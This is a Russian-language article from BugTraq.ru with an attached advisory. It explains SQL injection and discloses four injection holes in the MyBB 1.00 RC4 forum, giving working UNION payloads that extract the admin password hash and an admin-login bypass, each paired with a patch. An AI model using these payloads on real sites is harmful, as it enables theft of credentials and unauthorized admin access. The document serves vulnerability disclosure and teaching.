информационная безопасность
без паники и всерьез
 подробно о проекте
Rambler's Top100Сетевые кракеры и правда о деле ЛевинаSpanning Tree Protocol: недокументированное применениеВсе любят мед
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / библиотека / www
БИБЛИОТЕКА
вход в библиотеку
книги
безопасность
программирование
криптография
internals
www
телефония
underground
беллетристика
разное
обзор: избранное
конкурс
рейтинг статей
обсуждение




Подписка:
BuqTraq: Обзор
RSN
БСК
Закон есть закон




Поиск SQL-инъекций на примере MyBB 1.00 RC4
Animal
Опубликовано: dl, 15.05.05 19:24

Сейчас существует множество форумов, которые распространяются как бесплатно, так и за деньги. Насколько мне известно, самые популярные из них, это phpBB, Invision Power Board, PHP-Nuke, и MyBB, о котором и пойдёт речь.

MyBB, или MyBulletinBoard - это мощный, эффективный и бесплатно распространяемый форум, разработанный на PHP и работающий с использованием MySQL сервера. Полный контроль над вашим форумом на кончиках ваших пальцев, от множества стилей и тем до полного изменения внешнего вида форумов с помощью системы шаблонов. (Переведённая часть описания с оффициального сайта) От себя могу добавить, что этот форум пока ещё достаточно молодой.

Итак. Мне достаточно часто приходилось видеть в обзорах уязвимостей об атаке, названной SQL-инъекцией. Такой тип атак уже достаточно широко известен, но я всё таки опишу, что же он из себя представляет. Многим сценариям(далее скриптам) приходится общаться с базой данных, выбирая оттуда какую-либо информацию, либо сохраняя её. А общаться ему приходится с помощью структурированнаго языка запросов(Structured Query Language или просто SQL), т.к. именно он зарекомендовал себя как простой и эффективный язык запросов к базам данных. Выбирает информацию из базы скрипт чаще всего либо для проверки с какими-либо значениями, либо для вывода этой информации пользователю. Теперь представим, что пользователь должен ввести значение в поле ввода, а скрипт должен найти, скажем, показать пользователю имя и страну участника под тем номером, который ввёл пользователь. Но если то, что ввёл пользователь никак не проверяется перед SQL-запросом, то пользователь может ввести в поле ввода апостроф, что приведёт к неправильному запросу, т.к. апостроф в языке SQL служит ограничителем данных(например символьных). Поясню на примере: пользователь ввёл 13, запрос выглядит так:

  [SELECT name, country FROM people WHERE num='13']

И скрипт выведет пользователю имя и страну участника с номером 13, например:

         ~~~~~~~~~~~~~~~~~~~~~~~
         #  ИМЯ    #   СТРАНА  #
         #~~~~~~~~~#~~~~~~~~~~~#
         #  Вася   # Зимбабве  #
         #~~~~~~~~~#~~~~~~~~~~~#

Теперь предположим, что пользователь ввёл апостроф, запрос будет таким:

  [SELECT name, country FROM people WHERE num=''']
 

причём введённый пользователем апостроф находится между двумя другими, т.к. закрывающий апостроф ставит скрипт. В результате SQL сервер выдаст ошибку, т.к. появился незакрытый апостроф. Теперь обдумав всё пользователь хочет получить то, что Вася хранит в секрете. Предположим это будет номер кредитной карты, и хранится в таблице people он будет под названием ccnumber. Злой пользователь может теперь сформировать в поле ввода вот такой текст:

  [0' UNION SELECT name, ccnumber FROM people WHERE num='13]
(UNION используется для "склейки" нескольких SELECT запросов)

В результате итоговый, сформированный скриптом запрос будет выглядеть так:

  [SELECT name, country FROM people WHERE num='0' UNION SELECT name,
     ccnumber FROM people WHERE num='13']

Учитывая то, что участника с номером 0 нет в таблице, первый SELECT ничего не выведет, зато второй выполнится вполне неплохо, и скрипт выдаст следующее:

         ~~~~~~~~~~~~~~~~~~~~~~~
         #  ИМЯ    #   СТРАНА  #
         #~~~~~~~~~#~~~~~~~~~~~#
         #  Вася   #  6661313  #
         #~~~~~~~~~#~~~~~~~~~~~#

Вместо страны в соответствующем поле пользователь получит то, что и хотел.

То есть SQL-инъекция заключается в том, чтобы ввести в запрос свой код, чтобы получить информацию, которая тебя интересует.

Итак, возвращаясь к MyBB скажу, что этот форум не исключение и он тоже работает с SQL. Забегая немного вперёд процитирую своего друга, говорящего о MyBB: "хоть куда вставь лишний апостроф, получится ошибка". И это действительно так :).

Почему я выбрал именно MyBB? Наверное потому, что он единственный был у меня последней версии, а phpBB и IPB были не самые свежие. После успешной "инсталляции" форума и создания парочки пользователей я не стал упорно копаться в коде, а решил поискать потенциально уязвимые параметры. Чаще всего разработчики таких вот скриптов забывают фильтровать значения, которые должны быть числовыми, и я начал искать таковые. Первым делом ткнул на "Help", т.к. там чаще всего бывает число, определяющее идентификатор(номер) раздела помощи. Так оно и оказалось, в качестве номера раздела принимался параметр "hid":

  [http://localhost/mybb/misc.php?action=help&hid=2] <-- это строка адреса в браузере

Первым делом я просто поставил апостроф в конце, те [...&hid=2'], и увидел ошибку MySQL'а, которая гласила о том же неправильном синтаксисе из-за лишнего апострофа. Конечно же показал и запрос, который хотел выполнить:

  [SELECT * FROM mybb_helpdocs WHERE hid='2''] <-- выбор всех полей из таблицы mybb_helpdocs

Нужно было только посмотреть какие из выбранных полей скрипт выводит на экран, а затем сформировать UNION запрос так, чтобы на месте выводимых данных оказалось то, что мне нужно увидеть(в данном случае это хеш админского пароля). Так как админ там по умолчанию имеет uid=1 и учитывая, что раздела помощи с номером 0 не существует, пишу в браузер:

  [http://localhost/mybb/misc.php?action=help&hid=0' UNION SELECT uid,uid,
     password,null,null,null FROM mybb_users WHERE uid='1]

Теперь вместо заголовка раздела справки на экран выводится хеш админского пароля.

Сначала я подумал, что это очень хорошо - найти ТАКУЮ уязвимость в известном форуме, поэтому стал разбираться с админской панелью. Тогда я ещё и не думал, что это ещё не конец. Блуждая по той самой панели администратора(далее ПА) наткнулся на функцию "Послать e-mail" и решил посмотреть на неё поближе. Ткнул на кнопку и в панели адреса появилось следующее:

  [http://localhost/mybb/member.php?action=emailuser&uid=3]

Как видно, параметр uid определяет пользователя, которому пишешь письмо. Нужно быть зарегистрированным пользователем, чтобы можно было использовать эту функцию. Снова вставил в конец апостроф и получил ошибку MySQL'а. Здесь запрос был гораздо проще: выбиралось всего два поля, из которых одно выводилось на экран, так что код для инъекции было составить ещё легче. В итоге в браузер пошла строка:

  [http://localhost/mybb/member.php?action=emailuser&uid=0' UNION SELECT password,
     null FROM mybb_users WHERE uid='1]

И вместо имени пользователя, которому я захотел отправить письмо, появился хеш админского пароля. Недолго думая была произведена та же операция и с функцией "Послать Private Message", т.к. она похожа по действиям на предыдущую. Запрос там оказался ещё проще: выбирался всего один параметр - имя пользователя. В браузер:

  [http://localhost/mybb/private.php?action=send&uid=0' UNION SELECT 
     password FROM mybb_users WHERE uid='1]

Результат тот же, что и в прошлой уязвимости.

Но... ещё после обнаружения первой дыры я заметил, что просто так даже имея кукис с админским хешем и идентификатором меня не пускают в ПА. Позже я, конечно, выяснил, что нужно ещё немного подредактировать кукис, но тогда это было невесело, т.к. полученные приимущества меня не устраивали без ПА. Поэтому я стал копать в этом направлении. Набрал в бровзере [http://localhost/mybb/admin/] и попал в форму авторизации. Первое, что захотелось сделать - так это ткнуть в поле "Логин" апостроф(в поле "Пароль" он бы не принёс должного результата, т.к. перед запросом введённый пароль шифруется MD5). Поставил апостроф в "Логин" и даванул enter. Снова MySQL сказал, что ему запрос не понравился :). Это уже давало шансы. Запрос выглядел так:

  [SELECT username, uid, password, usergroup FROM mybb_users WHERE
     username=''' AND password='d41d8cd98f00b204e9800998ecf8427e']

32 символа после слова password - это как раз и есть то, что я ввёл в поле "Пароль", только зашифрованное MD5. Это уже посложнее, ведь за введённым нами кодом всегда будет следовать конец запроса, т.е. " AND password='blabla'". Сначала я даже расстроился, но тут же вспомнил, что в любом языке AND выполняется раньше, чем OR, а значит запрос пароля(да и имени тоже :) ) можно обойти, сформировав такой запрос, который в одном из операндов выражения OR вернёт истину(aka 1 aka true). В итоге получился вот такой запрос, который я и ввёл в поле "Логин":

  [' UNION SELECT username, uid, password, usergroup FROM mybb_users WHERE uid=1 OR uid='1]

Полный запрос уже к базе получился таким:

  [SELECT username, uid, password, usergroup FROM mybb_users WHERE username='' UNION SELECT
     username, uid, password, usergroup FROM mybb_users WHERE uid=1 OR uid='1' AND
       password='d41d8cd98f00b204e9800998ecf8427e']

Фактически я заставил его выбирать пользователя не по его имени и паролю, а только по идентификатору. Мне было всё равно, что вернёт то, что после AND, самое главное в таблице всегда есть uid, равный 1, значит такой запрос вернёт одного пользователя(админа). И после такого запроса форум сразу же впустил меня в ПА, а ведь я не знал ни пароля, ни даже имени админа.

Вот такие вот ошибки бывают даже в известных форумах (хотя это неоднократно уже доказывали все из перечисленных мной форумов). А теперь приведу ту же цитату, но только полностью: "хоть куда вставь лишний апостроф - получится ошибка, потом вставляешь подготовленный запрос и получаешь админский хеш".

Форум написан, честно говоря, не самым лучшим образом, т.к. в большинстве случаев нет никакой проверки на введённые переменные и куда не вставь апостроф...(ну, вы понимаете)

Также соглашусь и с другим мнением друга: "у них абсолютно все скрипты больные,поэтому их даже уже неинтересно ковырять".

Засим откланиваюсь(и иду дальше искать уязвимые форумы 8>...)

Дырки нашёл я aka Animal (cOre@xaker.ru)
Special THX 2 DED MASTDIE (ded_mastdie@programist.ru)

Приложение

Множественные уязвимости в MyBulletinBoard Forum


ПРОГРАММА: --------- MyBulletinBoard (MyBB)
HOMEPAGE: ---------- http://www.mybboard.com/
УЯЗВИМЫЕ ВЕРСИИ: --- 1.00 RC4 и более ранние
ОПАСНОСТЬ: --------- Высокая/Критическая
ТИП: --------------- SQL-инъекция
УЯЗВИМОСТИ НАЙДЕНЫ: 28-04-2005
ПУБЛИКАЦИЯ: -------- [текущая дата]

Описание

MyBB, насколько я знаю, достаточно молодой, но всё же достаточно известный форум. Он базируется на коде PHP с использованием сервера баз данных MySQL и распространяется бесплатно. Конечно же он предоставляет пользователям простоту, но в то же время эффективность использования. Администратору форума тоже предоставляется множество опций и достаточно простое и понятное управление форумом. Это один из лучших форумов на сегодняшний день, но...

Проблема

Несколько скриптов подвержены SQL-инъекции, при которой неавторизированный пользователь может получить важную информацию из базы данных форума. Например логин и пароль администратора. Также обнаружена возможность входа в Администраторскую контрольную панель (Admin CP), не зная ни имени пользователя администратора, ни его пароля.

Насколько я помню, запрос UNION появился в MySQL только с четвёртой версии, значит при использовании MySQL версии меньше четвёртой эти атаки не принесут никакого результата. Также не будет результата при включенном параметре magic_quotes в файле php.ini.

Далее следуют уязвимости с описанием кода, содержащего ошибку, использования, и их исправления:

Уязвимости

Номер 1.

Уязвимый скрипт: misc.php

Уязвимый код:

elseif($action == "help")
{[...]
	$query = $db->query("SELECT * FROM ".TABLE_PREFIX."helpdocs WHERE hid='$hid'");
[...]

Описание: содержимое переменной $hid не фильтруется, значит при обращении к справке можно получить данные из базы путём вставки запроса UNION. Самое главное позаботиться о том, чтобы в $query попал не первый запрос, а именно тот, который вставили мы. Решается это путём введения несуществующего "Help ID".

Использование:

  http://target/misc.php?action=help&hid=[несуществующий ID хелпа]' UNION SELECT
    uid,uid,password,buddylist,ignorelist,style FROM mybb_users WHERE uid='1

Результат: вместо заголовка раздела помощи хеш администраторского пароля.

Исправление: заменить строку в misc.php:

  $query = $db->query("SELECT * FROM ".TABLE_PREFIX."helpdocs WHERE hid='$hid'");
   на
  $query = $db->query("SELECT * FROM ".TABLE_PREFIX."helpdocs WHERE hid='".intval($hid)."'");

Номер 2.

Уязвимый скрипт: member.php

Уязвимый код:

elseif($action == "emailuser")
{ [...]
  if($uid)
  { $query = $db->query("SELECT username, hideemail FROM ".TABLE_PREFIX."users WHERE uid='$uid'");
    [...]

Описание: содержимое переменной $uid не фильтруется. Снова UNION и получение произвольных данных. !!! Чтобы использовать эту уязвимость нужно быть зарегистрированным и вошедшим пользователем. !!!

Использование:

http://target/member.php?action=emailuser&uid=[несуществующий юзер]' UNION
  SELECT password,hideemail FROM mybb_users WHERE uid='1

Результат: вместо имени пользователя в поле ввода будет хеш администраторского пароля.

Исправление: заменить строку в member.php:

$query = $db->query("SELECT username, hideemail FROM ".TABLE_PREFIX.
  "users WHERE uid='$uid'");
  на
$query = $db->query("SELECT username, hideemail FROM ".TABLE_PREFIX.
  "users WHERE uid='".intval($uid)."'");

Номер 3.

Уязвимый скрипт: private.php

Уязвимый код:

if($action == "send")
{ [...]
  if($uid && !$preview)
  { $query = $db->query("SELECT username FROM ".TABLE_PREFIX."users WHERE uid='$uid'");
    [...]

Описание: содержимое переменной $uid не фильтруется и возможно получение произвольных данных из базы также, как и в прошлом случае. Снова нужно быть зарегистрированным и вошедшим пользователем.

Использование:

  http://target/private.php?action=send&uid=[несуществующий юзер]' UNION
                 SELECT password FROM mybb_users WHERE uid='1

Результат: как и в прошлом случае вместо логина пользователя в поле ввода будет выведен хеш администраторского пароля.

Исправление: всё тот же intval();. Заменить строку в private.php:

$query = $db->query("SELECT username FROM ".TABLE_PREFIX."users WHERE uid='$uid'");
  на
$query = $db->query("SELECT username FROM ".TABLE_PREFIX."users WHERE uid='".intval($uid)."'");

Номер 4. Обход ввода правильного пароля при входе в панель администратора

Уязвимый скрипт: admin/global.php

Уязвимый код: if($do == "login") { $md5pw = md5($password); $query = $db->query("SELECT username, uid, password, usergroup FROM ".TABLE_PREFIX."users WHERE username='$username' AND password='$md5pw'"); [...]

Описание: Этот фрагмент кода получает управление при попытке пользователя зайти в панель администратора (ПА) вводя логин и пароль. Как видно из кода, мы не сможем вставить код в поле Password, т.к. он всё равно зашифруется MD5. Но остаётся возможность вставить свой код в поле username. Единственной проблемой является то, что конец запроса при этом остаётся, т.е. после нашего кода будет ещё:

  [Начало запроса+наш код]' AND password='$md5pw'

Вспоминая, что в любом языке AND выполняется всегда до OR, можно подставить в конец нашего кода OR с каким-нибудь ненужным параметром, и получить, к примеру:

  [Начало запроса+наш код] OR uid='1' AND password='$md5pw'

Следовательно то, что стоит после OR, даст в результат 0(false). Но то, что перед OR, т.е. наш запрос, даст 1(true) Скрипт обработает полученные данные и впустит нас вовнутрь.

Использование: сначала идём на http://target/admin/ , затем в поле ввода имени пользователя вводим:

   [несущ. имя юзера]' UNION SELECT username,uid,password,usergroup FROM mybb_users 
      WHERE uid=1 OR uid='1
пароль можно оставить пустым, он не понадобится.

Информация: в более ранних версиях форума, чем 1.00 RC4 количество параметров в запросе может меняться, но их всё равно легко выяснить, поставив в UserName один апостроф.

Результат: вход в ПА.

Исправление: Заменить строку в файле admin/global.php:

$query = $db->query("SELECT username, uid, password, usergroup FROM ".TABLE_PREFIX."users
    WHERE username='$username' AND password='$md5pw'");
  на
$query = $db->query("SELECT username, uid, password, usergroup FROM ".TABLE_PREFIX."users
    WHERE username='".str_replace("'","",$username)."' AND password='$md5pw'");

Постскриптум

  1. "mybb_users" не обязан называться именно так. Это зависит от того, какой префикс базы выбрал админ при установке форума.
  2. "MyBB group" aka производители были оповещены. Будем надеяться, что скоро выйдет 1.00 RC5.

Для нахождения потенциально уязвимых мест использовался только бровзер. Для испытания аналогичных SQL запросов, но с инъекцией, использовался phpMyAdmin - хорошая вешь. После успешного результата в phpMA инъекция производилась в браузер.

На самом деле подвержены SQL-инъекции не только те скрипты, которые я описал, а почти все. Просто только в этих я нашёл возможность получать произвольные данные.

Greet 2 DED_MASTDIE (ded_mastdie@programist.ru)
VulnZ Found by Animal (cOre@xaker.ru)

обсудить  |  все отзывы (0)

[56352; 27; 8.66]





мини-реклама
wyksa.ru

Rambler's Top100
Рейтинг@Mail.ru





  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach